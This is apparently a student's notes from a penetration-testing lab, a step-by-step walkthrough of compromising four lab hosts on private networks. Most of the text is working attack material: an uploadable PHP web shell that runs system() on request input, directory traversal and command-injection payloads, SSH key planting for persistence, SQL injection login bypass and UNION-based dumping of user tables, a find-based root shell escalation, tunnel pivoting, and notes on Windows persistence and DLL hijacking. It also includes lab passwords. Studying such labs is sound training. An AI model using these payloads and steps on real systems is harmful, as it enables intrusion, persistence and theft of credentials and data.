**BOX 1**

nmap 10.50.39.63 -Pn

nmap 10.50.39.63 -Pn - -script banner

nmap 10.50.39.63 -Pn - -script http-enum

| /login.php: Possible admin folder

| /login.html: Possible admin folder

| /img/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'

|\_ /scripts/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'

http://10.50.39.63/scripts/

system\_user=user2

user\_password=EaglesIsARE78

http://10.50.39.63

/apply.html

* upload keel.php
* make sure it shows up on the directory after uploading

(Doesn’t work so move on…)

Input field => 3 options

**1.Directory Traversal**

cat /../../../../../../../../etc/hosts

cat /../../../../../../../../etc/passwd

user2 is on this system

**2.Command Injection**

;whoami

; ls -la /var/www/html

Command Injection steps:

10.50.37.72/cmdinjection

input field > ;whoami

**Stealing SSH Key**

ssh-keygen -t rsa

y

no password

enter enter..

ls .ssh

id\_rsa is private

id\_rsa.pub is public

cat .sh/id\_rsa.pub

**\*include everything\***

/etc/passwd file…

www-data

/var/www is home directory

/bin/bash is default shell

.ssh folder there?

ls -la /var/www

mkdir /var/www/.ssh

ls -la /var/www

echo “” >> /var/www/.ssh/authorized\_keys

ssh www-data@10.50.37.72

doesn’t work => move on

What if the input box did not exit?

**Copy this text into opsstation to a file with .php…**

<HTML><BODY>

<FORM METHOD="GET" NAME="myform" ACTION="">

<INPUT TYPE="text" NAME="cmd">

<INPUT TYPE="submit" VALUE="Send">

</FORM>

<pre>

<?php

if($\_GET['cmd']) {

system($\_GET['cmd']);

}

?>

</pre>

</BODY></HTML>

cat keel.php

10.50.37.72 -> browse > keep.php > upload file now

10.50.37.72/uploads

\*everything is same except the ;\*

**Example:**

step 0) local port forward to jumpbox + create dynamic tunnel

step 1)

nmap 10.10 -Pn --script http-enum -p 80

step 2)

10.50.37.72/uploads

billybob:x:1001:1001:you found me SNP3VbbJqIKSvrINxKdL:/home/billybob:/bin/bash

step 3)

nano keel.php

<HTML><BODY>

<FORM METHOD="GET" NAME="myform" ACTION="">

<INPUT TYPE="text" NAME="cmd">

<INPUT TYPE="submit" VALUE="Send">

</FORM>

<pre>

<?php

if($\_GET['cmd']) {

system($\_GET['cmd']);

}

?>

</pre>

</BODY></HTML>

step 4)

10.50.37.72/uploads/keel.php

cat /../../../../../../../../etc/passwd

billybob

/home/billybob

mkdir /home/billybob/.ssh

ls -la /home/billybob/.ssh

echo “” >> /home/billybob/.ssh/authorized\_keys

lin-ops$ proxychains ssh billybob@10.100.28.40 -p 4444

—

**3.SQL Injection**

not a database => move on

/login.php

SQL Injection

Username: tom’ or 1=’1

Password: tom’ or 1=’1

Aaron

Dev. console F12

> Network

> POST

> Request

> RAW

> Copy and paste that string into URL field following a ?

> View page source

ROT13 decoder (cyberchef)

user2

user3

Lee\_Roth

F12

>Inspector

>Change from Post to Get

**SSH JUMP**

ssh -J student@10.50.35.200 comrade@192.168.28.105 -p 2222 -D 9050 -L 60601:192.168.28.5:3389

AbL96ElEXErsWr9

StudentPrivPassword

ssh into user2

(dumb shell) => bash

$ bash

POST EXPLOITATION:

#FINISH ENUMERATING THE BOX

cd /var/www/html (root web directory)

ls -la

secureServ.php

software.php

sw

ls -la sw

#USER STUFF

sudo -l

find / -type f -perm /4000 -ls 2>/dev/null

#SERVICES

#PROCESSES

#NETWORK

cat /etc/hosts

.181 WebApp

for i in {1..254};do(ping -c 1 192.168.28.$i | grep “bytes from”&);

.172

.181

~~.190~~

**BOX 2**

proxychains nmap -Pn 192.168.28.172

ssh

proxychains nmap -Pn 192.168.28.181

ssh

web

proxychains nmap -Pn 192.168.28.181 - -script http-enum

think table? => sql injection

proxychains nmap -Pn 192.168.28.181

192.168.28.181/pick.php?product=1

192.168.28.181/pick.php?product=2

192.168.28.181/pick.php?product=3

192.168.28.181/pick.php?product=... do SQL injection here

192.168.28.181/pick.php?product=7 or 1=1

\*if product=<word> then start with ‘ and end with #

Ex: 192.168.28.181/pick.php?product=ram’ union select 1,2,3#

\*now find the number of columns

192.168.28.181/pick.php?product=7 union select 1,2,3

Item On Hand Price

HAM 32 $15

1 3 $2 \*PAY ATTENTION TO FORMAT AND ORDER

1 $2 3

table\_schema,column\_name,table\_name

from information\_schema.columns

192.168.28.181/pick.php?product=7 union select table\_schema,column\_name,table\_name from information\_schema.columns

view all user generated schema (everything except information\_schema/information\_schema,mysql)

192.168.28.181/pick.php?product=7 union select user\_id,username,name from siteusers.users

Item On Hand Price

HAM 32 $15

1 Aaron $Aaron

2 user2 $user2

3 user3 $user3

4 Lee\_Roth $Lroth

1 Aaron $ncnffjbeqlCn$$jbeq

2 user2 $RntyrfVfNER78

3 user3 $Obo4GURRnccyrf

4 Lroth $anotherpassword4THEages \*Lroth is the username

192.168.28.181/pick.php?product=7 union select description,username,name from siteusers.users

**BOX 3**

.172

ssh user2@[10.50.39.63](http://10.50.39.63) -L 60601:192.168.28.172:22

Aaron

ssh Aaron@[10.50.39.63](http://10.50.39.63) -p 60601 -D 9050

ncnffjbeqlCn$$jbeq

#USER

What can I run as sudo?

sudo -l

/find

#PROCESS

look for logging syslog/rsyslog:

ls /var/log

look for running process and config files:

ps -elf | grep log

ls -la /etc | grep syslog

rsyslog.config

#SERVICE

cat /etc/crontab

ls /etc/cron.d

cat /etc/crontab

#NETWORK

for i in {1..254};do (ping -c 1 192.168.28.$i | grep “bytes from”&);done

.179

cat /etc/hosts

netstat -natpu

find interesting port and PID for microsoft services

PRIVILEGE ESCALATE

SUID binaries:

find / -type f -perm /4000 -ls 2>/dev/null

look them up on gtfobins .github

make sure when find something it has the function for how to found it

pkexec > no suid so don’t use this

find > copy and paste for privilege escalation

find . -exec /bin/sh \; -quit

$ root

bash

cd

cat ab.sh

cat num

cat run

cat everything inside these scripts

cat run1

file secret.obs

\*REVERSE ENGINEER THIS

chmod +x secret.obs

./secret.obs

Ghidra

Search string “Enter”

generateFlag

82944

**BOX 4**

proxychains nmap 192.168.28.179 -Pn

22

135

139

445

3389

9999 <- banner grab

proxychains nc 192.168.28.179 9999

SecureServer

THIS IS WINDOWS BUFFER OVERFLOW

mc -lvnp 4444

proxychains /../myexploit.py

If Windows buffer overflow wasn’t an option…

ssh Aaron@localhost -L 60602:192.168.28.179:9999

xfreerdp /v:localhost:60602 /u:Aaron /p: /size:1920x1000 +clipboard

Enumerate all the directories

#USERS

Putty.exe (might be useful later)

#SERVICES

Persistence

HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

HKEY\_CURRENT\_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY\_CURRENT\_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

Services

* Description

cmd

icacls “C:\Program Files\SecureServer”

BUILTIN\Users: RX - read only, so can’t add => no need to bother with this

Task Scheduler

Work

Running as System

C:\users\Lroth\temp\putty.exe

cmd

icacls “C:\users\Lroth\temp\putty.exe”

BUILTIN\Users: (F) - full permission so look into this to DLL hijacking

rename allowed

DLL hijacking

**EXTRAS**

* linux buffer overflow (offset or return address)
* jump ESP value
* command injection
* directory traversal